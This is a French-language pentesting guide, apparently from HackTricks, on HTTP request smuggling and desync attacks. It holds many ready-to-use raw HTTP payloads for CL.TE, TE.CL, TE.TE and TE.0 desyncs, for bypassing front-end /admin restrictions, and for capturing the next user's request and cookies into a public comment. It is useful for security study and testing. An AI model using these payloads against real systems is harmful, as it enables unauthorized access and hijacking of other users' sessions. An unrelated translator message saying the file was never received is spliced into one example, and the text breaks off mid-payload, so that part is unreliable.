HTTP Request Smuggling / HTTP Desync Attack

Reading time: 36 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu'est-ce que c'est

Cette vulnĂ©rabilitĂ© survient lorsqu'une dĂ©synchronisation entre les front-end proxies et le serveur back-end permet Ă  un attaquant d'envoyer une requĂȘte HTTP qui sera interprĂ©tĂ©e comme une seule requĂȘte par les front-end (load balancer/reverse-proxy) et comme 2 requĂȘtes par le serveur back-end.
Cela permet Ă  un utilisateur de modifier la requĂȘte suivante qui arrive au back-end aprĂšs la sienne.

Théorie

RFC Specification (2161)

Si un message est reçu avec Ă  la fois un champ d'en-tĂȘte Transfer-Encoding et un champ d'en-tĂȘte Content-Length, ce dernier DOIT ĂȘtre ignorĂ©.

Content-Length

L'en-tĂȘte d'entitĂ© Content-Length indique la taille du corps de l'entitĂ©, en octets, envoyĂ© au destinataire.

Transfer-Encoding: chunked

L'en-tĂȘte Transfer-Encoding spĂ©cifie la forme d'encodage utilisĂ©e pour transfĂ©rer en toute sĂ©curitĂ© le corps de la charge utile vers l'utilisateur.
Chunked signifie que les données volumineuses sont envoyées en une série de chunks.

Réalité

Le Front-End (un load-balancer / Reverse Proxy) traite l'en-tĂȘte Content-Length ou l'en-tĂȘte Transfer-Encoding et le serveur Back-End traite l'autre, provoquant une dĂ©synchronisation entre les deux systĂšmes.
Ceci peut ĂȘtre trĂšs critique car un attaquant pourra envoyer une requĂȘte au reverse proxy qui sera interprĂ©tĂ©e par le serveur back-end comme 2 requĂȘtes distinctes. Le danger de cette technique rĂ©side dans le fait que le back-end interprĂ©tera la 2Ăšme requĂȘte injectĂ©e comme si elle provenait du client suivant et la vraie requĂȘte de ce client fera partie de la requĂȘte injectĂ©e.

Particularités

Rappelez-vous qu'en HTTP un caractÚre de nouvelle ligne est composé de 2 octets :

  • Content-Length : Cet en-tĂȘte utilise un nombre dĂ©cimal pour indiquer le nombre d'octets du corps de la requĂȘte. Le corps est censĂ© se terminer au dernier caractĂšre, une nouvelle ligne n'est pas nĂ©cessaire en fin de requĂȘte.
  • Transfer-Encoding : Cet en-tĂȘte utilise dans le corps un nombre hexadĂ©cimal pour indiquer le nombre d'octets du chunk suivant. Le chunk doit se terminer par une nouvelle ligne, mais cette nouvelle ligne n'est pas comptĂ©e par l'indicateur de longueur. Cette mĂ©thode de transfert doit se terminer par un chunk de taille 0 suivi de 2 nouvelles lignes : 0
  • Connection : D'aprĂšs mon expĂ©rience, il est recommandĂ© d'utiliser Connection: keep-alive sur la premiĂšre requĂȘte du Request Smuggling.

Visible - Hidden

Le problĂšme principal avec HTTP/1.1 est que toutes les requĂȘtes transitent par le mĂȘme socket TCP ; donc si une discordance est trouvĂ©e entre deux systĂšmes recevant des requĂȘtes, il est possible d'envoyer une requĂȘte qui sera traitĂ©e comme 2 requĂȘtes diffĂ©rentes (ou plus) par le back-end final (ou mĂȘme des systĂšmes intermĂ©diaires).

This blog post propose de nouvelles maniÚres de détecter les attaques de désynchronisation sur un systÚme qui ne seraient pas détectées par les WAFs. Pour cela il présente les comportements Visible vs Hidden. L'objectif dans ce cas est d'essayer de trouver des discordances dans la réponse en utilisant des techniques qui pourraient causer des desyncs sans réellement exploiter quoi que ce soit.

Par exemple, envoyer une requĂȘte avec l'en-tĂȘte Host normal et un en-tĂȘte " host" (avec un espace), si le back-end se plaint de cette requĂȘte (peut-ĂȘtre parce que la valeur de " host" est incorrecte), cela peut signifier que le front-end n'a pas pris en compte l'en-tĂȘte " host" tandis que le back-end l'a utilisĂ©, ce qui implique trĂšs probablement une dĂ©synchronisation entre front-end et back-end.

Ceci serait une discordance Hidden-Visible.

Si le front-end avait pris en compte l'en-tĂȘte " host" mais que le back-end ne l'a pas fait, cela pourrait ĂȘtre une situation Visible-Hidden.

Par exemple, cela a permis de découvrir des desyncs entre AWS ALB en front-end et IIS en back-end. C'était parce que lorsque "Host: foo/bar" était envoyé, l'ALB retournait 400, Server; awselb/2.0, mais lorsque "Host : foo/bar" était envoyé, il retournait 400, Server: Microsoft-HTTPAPI/2.0, indiquant que le back-end envoyait la réponse. C'est une situation Hidden-Visible (H-V).

Notez que cette situation n'est pas corrigĂ©e dans AWS, mais elle peut ĂȘtre Ă©vitĂ©e en configurant routing.http.drop_invalid_header_fields.enabled et routing.http.desync_mitigation_mode = strictest.

Exemples de base

tip

Lors de tentatives d'exploitation avec Burp Suite désactivez Update Content-Length et Normalize HTTP/1 line endings dans le repeater car certains gadgets abusent des newlines, carriage returns et des Content-Length malformés.

Les attaques de HTTP request smuggling sont construites en envoyant des requĂȘtes ambiguĂ«s qui exploitent des discordances dans la façon dont les front-end et back-end interprĂštent les en-tĂȘtes Content-Length (CL) et Transfer-Encoding (TE). Ces attaques peuvent se manifester sous diffĂ©rentes formes, principalement CL.TE, TE.CL, et TE.TE. Chaque type reprĂ©sente une combinaison unique de la maniĂšre dont les front-end et back-end priorisent ces en-tĂȘtes. Les vulnĂ©rabilitĂ©s apparaissent lorsque les serveurs traitent la mĂȘme requĂȘte de façons diffĂ©rentes, conduisant Ă  des rĂ©sultats inattendus et potentiellement malveillants.

Exemples basiques de types de vulnérabilité

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

tip

Au tableau précédent vous devriez ajouter la technique TE.0, semblable à la technique CL.0 mais utilisant Transfer-Encoding.

CL.TE Vulnerability (Content-Length utilisé par le Front-End, Transfer-Encoding utilisé par le Back-End)

  • Front-End (CL) : Traite la requĂȘte en se basant sur l'en-tĂȘte Content-Length.

  • Back-End (TE) : Traite la requĂȘte en se basant sur l'en-tĂȘte Transfer-Encoding.

  • ScĂ©nario d'attaque :

  • L'attaquant envoie une requĂȘte oĂč la valeur de l'en-tĂȘte Content-Length ne correspond pas Ă  la longueur rĂ©elle du contenu.

  • Le front-end transmet la requĂȘte entiĂšre au back-end, en se basant sur la valeur de Content-Length.

  • Le back-end traite la requĂȘte comme chunked Ă  cause de l'en-tĂȘte Transfer-Encoding: chunked, interprĂ©tant les donnĂ©es restantes comme une requĂȘte sĂ©parĂ©e et ultĂ©rieure.

  • Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding utilisé par le Front-End, Content-Length utilisé par le Back-End)

  • Front-End (TE) : Traite la requĂȘte en se basant sur l'en-tĂȘte Transfer-Encoding.

  • Back-End (CL) : Traite la requĂȘte en se basant sur l'en-tĂȘte Content-Length.

  • ScĂ©nario d'attaque :

  • L'attaquant envoie une requĂȘte chunked oĂč la taille du chunk (7b) et la longueur rĂ©elle du contenu (Content-Length: 4) ne correspondent pas.

  • Le front-end, respectant Transfer-Encoding, transmet l'intĂ©gralitĂ© de la requĂȘte au back-end.

  • Le back-end, respectant Content-Length, ne traite que la premiĂšre partie de la requĂȘte (7b octets), laissant le reste faire partie d'une requĂȘte ultĂ©rieure non voulue.

  • Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding utilisé par les deux, avec obfuscation)

  • Serveurs : Les deux supportent Transfer-Encoding, mais l'un peut ĂȘtre trompĂ© pour l'ignorer via de l'obfuscation.

  • ScĂ©nario d'attaque :

  • L'attaquant envoie une requĂȘte avec des en-tĂȘtes Transfer-Encoding obfusquĂ©s.

  • Selon lequel des serveurs (front-end ou back-end) ne reconnaĂźt pas l'obfuscation, une vulnĂ©rabilitĂ© CL.TE ou TE.CL peut ĂȘtre exploitĂ©e.

  • La partie non traitĂ©e de la requĂȘte, telle que vue par l'un des serveurs, devient partie d'une requĂȘte ultĂ©rieure, conduisant au smuggling.

  • Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length utilisé par le Front-End et le Back-End)

  • Les deux serveurs traitent la requĂȘte uniquement en se basant sur l'en-tĂȘte Content-Length.
  • Ce scĂ©nario ne conduit gĂ©nĂ©ralement pas au smuggling, car il y a alignement dans la façon dont les deux serveurs interprĂštent la longueur de la requĂȘte.
  • Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • Se rĂ©fĂšre aux scĂ©narios oĂč l'en-tĂȘte Content-Length est prĂ©sent et a une valeur autre que zĂ©ro, indiquant que le corps de la requĂȘte contient des donnĂ©es. Le back-end ignore l'en-tĂȘte Content-Length (qui est traitĂ© comme 0), mais le front-end l'analyse.
  • C'est crucial pour comprendre et construire des attaques de smuggling, car cela influence la maniĂšre dont les serveurs dĂ©terminent la fin d'une requĂȘte.
  • Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

  • Comme le prĂ©cĂ©dent mais en utilisant TE.
  • Technique reported here
  • Exemple:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL Scénario

Dans une situation 0.CL, une requĂȘte est envoyĂ©e avec un Content-Length comme :

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

Et le front-end ne prend pas en compte le Content-Length, donc il n'envoie au backend que la premiĂšre requĂȘte (jusqu'au 7 dans l'exemple). Cependant, le backend voit le Content-Length et attend un corps qui n'arrive jamais, car le front-end attend dĂ©jĂ  la rĂ©ponse.

En revanche, s'il existe une requĂȘte qu'il est possible d'envoyer au backend et qui reçoit une rĂ©ponse avant que le corps de la requĂȘte n'ait Ă©tĂ© reçu, cet interblocage ne se produira pas. Dans IIS par exemple, cela se produit en envoyant des requĂȘtes vers des noms interdits comme /con (voir la documentation). De cette façon, la requĂȘte initiale recevra une rĂ©ponse directe et la seconde requĂȘte contiendra la requĂȘte de la victime comme :

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

Ceci est utile pour provoquer un desync, mais cela n'aura eu aucun impact jusqu'à présent.

Cependant, l'article propose une solution pour cela en convertissant une 0.CL attack into a CL.0 with a double desync.

Faire planter le serveur web

Cette technique est aussi utile dans des scĂ©narios oĂč il est possible de faire planter un serveur web lors de la lecture des donnĂ©es HTTP initiales mais sans fermer la connexion. De cette façon, le corps de la requĂȘte HTTP sera considĂ©rĂ© comme la requĂȘte HTTP suivante.

Par exemple, comme expliquĂ© dans this writeup, dans Werkzeug il Ă©tait possible d'envoyer certains caractĂšres Unicode et cela faisait planter le serveur. Cependant, si la connexion HTTP avait Ă©tĂ© créée avec l'en-tĂȘte Connection: keep-alive, le corps de la requĂȘte ne sera pas lu et la connexion restera ouverte, si bien que le corps de la requĂȘte sera traitĂ© comme la requĂȘte HTTP suivante.

Forçage via hop-by-hop headers

En abusant des hop-by-hop headers, vous pouvez indiquer au proxy de supprimer l'en-tĂȘte Content-Length ou Transfer-Encoding, ce qui permettrait d'abuser du HTTP request smuggling.

Connection: Content-Length

For more information about hop-by-hop headers visit:

hop-by-hop headers

Trouver HTTP Request Smuggling

Identifier des vulnĂ©rabilitĂ©s de HTTP request smuggling peut souvent se faire en utilisant des techniques de timing, qui reposent sur l'observation du temps de rĂ©ponse du serveur Ă  des requĂȘtes manipulĂ©es. Ces techniques sont particuliĂšrement utiles pour dĂ©tecter les vulnĂ©rabilitĂ©s CL.TE et TE.CL. En plus de ces mĂ©thodes, d'autres stratĂ©gies et outils peuvent ĂȘtre utilisĂ©s pour trouver de telles vulnĂ©rabilitĂ©s :

Finding CL.TE Vulnerabilities Using Timing Techniques

  • MĂ©thode :

  • Envoyer une requĂȘte qui, si l'application est vulnĂ©rable, fera que le serveur back-end attendra des donnĂ©es supplĂ©mentaires.

  • Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Observation :

  • Le front-end traite la requĂȘte en se basant sur Content-Length et coupe le message prĂ©maturĂ©ment.

  • Le back-end, s'attendant Ă  un message chunked, attend le chunk suivant qui n'arrive jamais, provoquant un dĂ©lai.

  • Indicateurs :

  • Timeouts ou longs dĂ©lais de rĂ©ponse.

  • RĂ©ception d'une erreur 400 Bad Request depuis le back-end, parfois avec des informations dĂ©taillĂ©es sur le serveur.

Finding TE.CL Vulnerabilities Using Timing Techniques

  • MĂ©thode :

  • Envoyer une requĂȘte qui, si l'application est vulnĂ©rable, fera que le serveur back-end attendra des donnĂ©es supplĂ©mentaires.

  • Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Observation :
  • Le front-end traite la requĂȘte en se basant sur Transfer-Encoding et transfĂšre l'ensemble du message.
  • Le back-end, s'attendant Ă  un message basĂ© sur Content-Length, attend des donnĂ©es supplĂ©mentaires qui n'arrivent jamais, provoquant un dĂ©lai.

Autres méthodes pour trouver des vulnérabilités

  • Differential Response Analysis :
  • Envoyer des versions lĂ©gĂšrement variĂ©es d'une requĂȘte et observer si les rĂ©ponses du serveur diffĂšrent de maniĂšre inattendue, indiquant une divergence de parsing.
  • Using Automated Tools :
  • Des outils comme l'extension 'HTTP Request Smuggler' de Burp Suite peuvent tester automatiquement ces vulnĂ©rabilitĂ©s en envoyant diverses formes de requĂȘtes ambiguĂ«s et en analysant les rĂ©ponses.
  • Content-Length Variance Tests :
  • Envoyer des requĂȘtes avec des valeurs Content-Length variables qui ne correspondent pas Ă  la longueur rĂ©elle du contenu et observer comment le serveur gĂšre ces discordances.
  • Transfer-Encoding Variance Tests :
  • Envoyer des requĂȘtes avec des en-tĂȘtes Transfer-Encoding obfusquĂ©s ou malformĂ©s et surveiller comment le front-end et le back-end rĂ©pondent diffĂ©remment Ă  ces manipulations.

The Expect: 100-continue header

VĂ©rifiez comment cet en-tĂȘte peut aider Ă  exploiter un http desync dans :

Special Http Headers

HTTP Request Smuggling Vulnerability Testing

AprĂšs avoir confirmĂ© l'efficacitĂ© des techniques de timing, il est crucial de vĂ©rifier si les requĂȘtes client peuvent ĂȘtre manipulĂ©es. Une mĂ©thode simple consiste Ă  tenter de poisoner vos requĂȘtes, par exemple faire en sorte qu'une requĂȘte vers / retourne un 404. Les exemples CL.TE et TE.CL discutĂ©s prĂ©cĂ©demment dans Basic Examples montrent comment empoisonner la requĂȘte d'un client pour provoquer un 404, alors que le client vise une ressource diffĂ©rente.

Considérations clés

Lors de tests de request smuggling en interfĂ©rant avec d'autres requĂȘtes, gardez Ă  l'esprit :

  • Distinct Network Connections : Les requĂȘtes "attack" et "normal" doivent ĂȘtre envoyĂ©es sur des connexions rĂ©seau distinctes. Utiliser la mĂȘme connexion pour les deux ne valide pas la prĂ©sence de la vulnĂ©rabilitĂ©.
  • Consistent URL and Parameters : Essayez d'utiliser des URL et noms de paramĂštres identiques pour les deux requĂȘtes. Les applications modernes routent souvent les requĂȘtes vers des back-ends spĂ©cifiques en fonction de l'URL et des paramĂštres. Les faire correspondre augmente la probabilitĂ© que les deux requĂȘtes soient traitĂ©es par le mĂȘme serveur, condition nĂ©cessaire pour une attaque rĂ©ussie.
  • Timing and Racing Conditions : La requĂȘte "normal", destinĂ©e Ă  dĂ©tecter l'interfĂ©rence de la requĂȘte "attack", est en compĂ©tition avec d'autres requĂȘtes concurrentes de l'application. Envoyez donc la requĂȘte "normal" immĂ©diatement aprĂšs la requĂȘte "attack". Les applications trĂšs chargĂ©es peuvent nĂ©cessiter plusieurs essais pour une confirmation concluante.
  • Load Balancing Challenges : Les front-ends agissant comme des load balancers peuvent rĂ©partir les requĂȘtes sur plusieurs back-ends. Si les requĂȘtes "attack" et "normal" aboutissent sur des systĂšmes diffĂ©rents, l'attaque Ă©chouera. Cet aspect du load balancing peut nĂ©cessiter plusieurs tentatives pour confirmer une vulnĂ©rabilitĂ©.
  • Unintended User Impact : Si votre attaque affecte involontairement la requĂȘte d'un autre utilisateur (et non la requĂȘte "normal" que vous avez envoyĂ©e pour la dĂ©tection), cela indique que votre attaque a influencĂ© un autre utilisateur de l'application. Des tests rĂ©pĂ©tĂ©s pourraient perturber d'autres utilisateurs ; procĂ©dez avec prudence.

Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling

La rĂ©utilisation de la connexion (keep-alive) et le pipelining peuvent facilement produire des illusions de "smuggling" dans des outils de test qui envoient plusieurs requĂȘtes sur la mĂȘme socket. Apprenez Ă  distinguer les artefacts inoffensifs cĂŽtĂ© client des vrais desyncs cĂŽtĂ© serveur.

Why pipelining creates classic false positives

HTTP/1.1 rĂ©utilise une seule connexion TCP/TLS et concatĂšne requĂȘtes et rĂ©ponses sur le mĂȘme flux. En pipelining, le client envoie plusieurs requĂȘtes Ă  la suite et attend des rĂ©ponses dans l'ordre. Un faux positif classique est de renvoyer deux fois une payload malformĂ©e de style CL.0 sur une seule connexion :

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Je n’ai pas reçu le contenu du fichier. Merci de coller ici le contenu de src/pentesting-web/http-request-smuggling/README.md Ă  traduire en français. Je conserverai strictement la syntaxe Markdown/HTML et n’effectuerai pas la traduction des Ă©lĂ©ments indiquĂ©s (code, noms de techniques, mots-clĂ©s comme leak, pentesting, noms de plateformes, liens, chemins, balises, etc.).

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Si le serveur a ignorĂ© le Content_Length malformĂ©, il n'y a pas de dĂ©synchronisation FE↔BE. Lors de la rĂ©utilisation, votre client a en rĂ©alitĂ© envoyĂ© ce flux d'octets, que le serveur a analysĂ© comme deux requĂȘtes indĂ©pendantes :

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact : aucun. Vous venez simplement de désynchroniser votre client par rapport au cadrage du serveur.

tip

Modules Burp dépendant de reuse/pipelining : Turbo Intruder avec requestsPerConnection>1, Intruder avec "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" ou "Enable connection reuse".

Tests de vérification : pipelining ou vraie désynchronisation ?

  1. Désactivez le reuse et retestez
  • Dans Burp Intruder/Repeater, dĂ©sactivez HTTP/1 reuse et Ă©vitez "Send group in sequence".
  • Dans Turbo Intruder, mettez requestsPerConnection=1 et pipeline=False.
  • Si le comportement disparaĂźt, il s’agissait probablement de pipelining cĂŽtĂ© client, sauf si vous avez affaire Ă  des targets connection‑locked/stateful ou Ă  une dĂ©synchronisation cĂŽtĂ© client.
  1. Vérification HTTP/2 nested-response
  • Envoyez une requĂȘte HTTP/2. Si le corps de la rĂ©ponse contient une rĂ©ponse HTTP/1 complĂšte imbriquĂ©e, vous avez prouvĂ© un bug de parsing/dĂ©synchronisation cĂŽtĂ© backend plutĂŽt qu’un simple artefact client.
  1. Sonde de partial-requests pour front-ends connection‑locked
  • Certains FEs ne rĂ©utilisent la connexion upstream que si le client a rĂ©utilisĂ© la sienne. Utilisez des partial-requests pour dĂ©tecter un comportement FE qui reflĂšte la rĂ©utilisation cĂŽtĂ© client.
  • Voir PortSwigger "Browser‑Powered Desync Attacks" pour la technique connection‑locked.
  1. Probes d’état
  • Cherchez des diffĂ©rences entre la premiĂšre requĂȘte et les requĂȘtes suivantes sur la mĂȘme connexion TCP (routing/validation de la premiĂšre requĂȘte).
  • Burp "HTTP Request Smuggler" inclut une sonde d’état de connexion qui automatise cela.
  1. Visualisez le wire
  • Utilisez l’extension Burp "HTTP Hacker" pour inspecter la concatĂ©nation et le dĂ©coupage des messages directement pendant vos essais avec reuse et partial requests.

Connection‑locked request smuggling (reuse-required)

Certains front-ends ne rĂ©utilisent la connexion upstream que lorsque le client rĂ©utilise la sienne. Un smuggling rĂ©el existe mais est conditionnĂ© par la rĂ©utilisation cĂŽtĂ© client. Pour distinguer et prouver l’impact :

  • Prouvez le bug cĂŽtĂ© serveur
  • Utilisez la vĂ©rification HTTP/2 nested-response, ou
  • Utilisez des partial-requests pour montrer que le FE ne rĂ©utilise l’upstream que lorsque le client le fait.
  • Montrez un impact rĂ©el mĂȘme si l’exploitation directe cross-user du socket est bloquĂ©e :
  • Cache poisoning : poisonner les caches partagĂ©s via la dĂ©sync pour que les rĂ©ponses affectent d’autres utilisateurs.
  • Internal header disclosure : reflĂ©ter des headers injectĂ©s par le FE (p.ex. headers auth/trust) et pivoter vers un contournement d’auth.
  • Bypass des contrĂŽles FE : smuggler des paths/mĂ©thodes restreints au-delĂ  du front-end.
  • Abus du header Host : combiner avec des quirks de routage host pour pivoter vers des vhosts internes.
  • Workflow opĂ©rateur
  • Reproduisez avec une rĂ©utilisation contrĂŽlĂ©e (Turbo Intruder requestsPerConnection=2, ou onglet de groupe Burp Repeater → "Send group in sequence (single connection)").
  • Puis enchaĂźnez vers des primitives de cache/header‑leak/control‑bypass et dĂ©montrez un impact cross-user ou d’autorisation.

Voir aussi connection‑state attacks, qui sont Ă©troitement liĂ©es mais pas techniquement du smuggling :

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Contraintes de désynchronisation cÎté client

Si vous ciblez une dĂ©synchronisation s’appuyant sur le navigateur/client-side desync, la requĂȘte malveillante doit pouvoir ĂȘtre envoyĂ©e par un navigateur cross-origin. Les tricks d’obfuscation d’en‑tĂȘtes ne fonctionneront pas. Concentrez‑vous sur des primitives accessibles via navigation/fetch, puis pivotez vers cache poisoning, header disclosure ou contournement de contrĂŽles front-end lorsque des composants downstream reflĂštent ou mettent en cache les rĂ©ponses.

Pour le contexte et des workflows bout‑en‑bout :

Browser HTTP Request Smuggling

Outils pour aider à décider

  • HTTP Hacker (Burp BApp Store) : expose le comportement HTTP bas niveau et la concatĂ©nation de sockets.
  • "Smuggling or pipelining?" Burp Repeater Custom Action : https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder : contrĂŽle prĂ©cis de la rĂ©utilisation de connexion via requestsPerConnection.
  • Burp HTTP Request Smuggler : inclut une sonde d’état de connexion pour repĂ©rer le routing/validation de la premiĂšre requĂȘte.

note

Traitez les effets liés uniquement au reuse comme non-problématiques sauf si vous pouvez prouver une désynchronisation cÎté serveur et attacher un impact concret (artefact de cache empoisonné, header interne divulgué permettant un contournement de privilÚge, contrÎle FE contourné, etc.).

Abusing HTTP Request Smuggling

Circumventer la sécurité Front-End via HTTP Request Smuggling

Parfois, des proxies front-end appliquent des mesures de sĂ©curitĂ© et examinent les requĂȘtes entrantes. Cependant, ces contrĂŽles peuvent ĂȘtre contournĂ©s en exploitant HTTP Request Smuggling, permettant l’accĂšs non autorisĂ© Ă  des endpoints restreints. Par exemple, accĂ©der Ă  /admin peut ĂȘtre interdit depuis l’extĂ©rieur, le proxy front‑end bloquant activement de telles tentatives. NĂ©anmoins, ce proxy peut nĂ©gliger d’inspecter les requĂȘtes imbriquĂ©es dans une requĂȘte HTTP smuggled, laissant une faille pour contourner ces restrictions.

ConsidĂ©rez les exemples suivants illustrant comment HTTP Request Smuggling peut ĂȘtre utilisĂ© pour contourner les contrĂŽles de sĂ©curitĂ© front-end, ciblant spĂ©cifiquement le path /admin qui est typiquement protĂ©gĂ© par le proxy front-end :

Exemple CL.TE

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Dans l'attaque CL.TE, l'en-tĂȘte Content-Length est utilisĂ© pour la requĂȘte initiale, tandis que la requĂȘte imbriquĂ©e suivante utilise l'en-tĂȘte Transfer-Encoding: chunked. Le proxy frontal traite la requĂȘte POST initiale mais n'inspecte pas la requĂȘte imbriquĂ©e GET /admin, ce qui permet un accĂšs non autorisĂ© au chemin /admin.

TE.CL Exemple

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Inversement, dans l'attaque TE.CL, la requĂȘte initiale POST utilise Transfer-Encoding: chunked, et la requĂȘte intĂ©grĂ©e suivante est traitĂ©e selon l'en-tĂȘte Content-Length. Comme pour l'attaque CL.TE, le proxy front-end ignore la requĂȘte dissimulĂ©e GET /admin, accordant involontairement l'accĂšs au chemin restreint /admin.

RĂ©vĂ©ler la réécriture des requĂȘtes front-end

Les applications utilisent souvent un serveur front-end pour modifier les requĂȘtes entrantes avant de les transmettre au serveur back-end. Une modification typique consiste Ă  ajouter des en-tĂȘtes, tels que X-Forwarded-For: <IP of the client>, pour relayer l'IP du client au back-end. Comprendre ces modifications peut ĂȘtre crucial, car cela peut rĂ©vĂ©ler des moyens de contourner des protections ou de dĂ©voiler des informations ou endpoints cachĂ©s.

Pour Ă©tudier comment un proxy modifie une requĂȘte, localisez un paramĂštre POST que le back-end réémet dans la rĂ©ponse. Ensuite, crĂ©ez une requĂȘte en plaçant ce paramĂštre en dernier, similaire Ă  la suivante :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Dans cette structure, les composants suivants de la request sont ajoutés aprÚs search=, qui est le paramÚtre reflété dans la réponse. Cette réflexion exposera les headers de la request suivante.

Il est important d'aligner le header Content-Length de la request imbriquée sur la longueur réelle du contenu. Il est conseillé de commencer par une valeur faible et de l'incrémenter progressivement : une valeur trop basse tronquera les données réfléchies, tandis qu'une valeur trop élevée peut provoquer une erreur de la request.

Cette technique est également applicable dans le contexte d'une vulnérabilité TE.CL, mais la request doit se terminer par search=\r\n0. Indépendamment des caractÚres de nouvelle ligne, les valeurs seront ajoutées au paramÚtre search.

Cette mĂ©thode sert principalement Ă  comprendre les modifications de request effectuĂ©es par le front-end proxy, effectuant essentiellement une enquĂȘte auto-dirigĂ©e.

Capturer les requests des autres utilisateurs

Il est possible de capturer les requests de l'utilisateur suivant en ajoutant une request spĂ©cifique comme valeur d'un paramĂštre lors d'une opĂ©ration POST. Voici comment cela peut ĂȘtre accompli :

En ajoutant la request suivante comme valeur d'un paramĂštre, vous pouvez stocker la request du client suivant :

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Dans ce scĂ©nario, le comment parameter est destinĂ© Ă  stocker le contenu de la section de commentaires d'un post sur une page accessible publiquement. Par consĂ©quent, le contenu de la requĂȘte suivante apparaĂźtra comme un commentaire.

Cependant, cette technique a des limites. En gĂ©nĂ©ral, elle capture les donnĂ©es uniquement jusqu'au dĂ©limiteur de paramĂštre utilisĂ© dans la requĂȘte smuggled. Pour les soumissions de formulaires encodĂ©es en URL, ce dĂ©limiteur est le caractĂšre &. Cela signifie que le contenu capturĂ© par la requĂȘte de la victime s'arrĂȘtera au premier &, qui peut mĂȘme faire partie de la query string.

De plus, il convient de noter que cette approche est Ă©galement viable avec une vulnĂ©rabilitĂ© TE.CL. Dans ces cas, la requĂȘte doit se terminer par search=\r\n0. IndĂ©pendamment des caractĂšres de nouvelle ligne, les valeurs seront ajoutĂ©es au paramĂštre search.

Using HTTP request smuggling to exploit reflected XSS

HTTP Request Smuggling peut ĂȘtre mis Ă  profit pour exploiter des pages web vulnĂ©rables Ă  Reflected XSS, offrant des avantages importants :

  • L'interaction avec les utilisateurs ciblĂ©s n'est pas requise.
  • Permet l'exploitation de XSS dans des parties de la requĂȘte qui sont normalement inaccessibles, comme les HTTP request headers.

Dans les scĂ©narios oĂč un site est vulnĂ©rable Ă  Reflected XSS via le User-Agent header, le payload suivant dĂ©montre comment exploiter cette vulnĂ©rabilitĂ© :

POST / HTTP/1.1
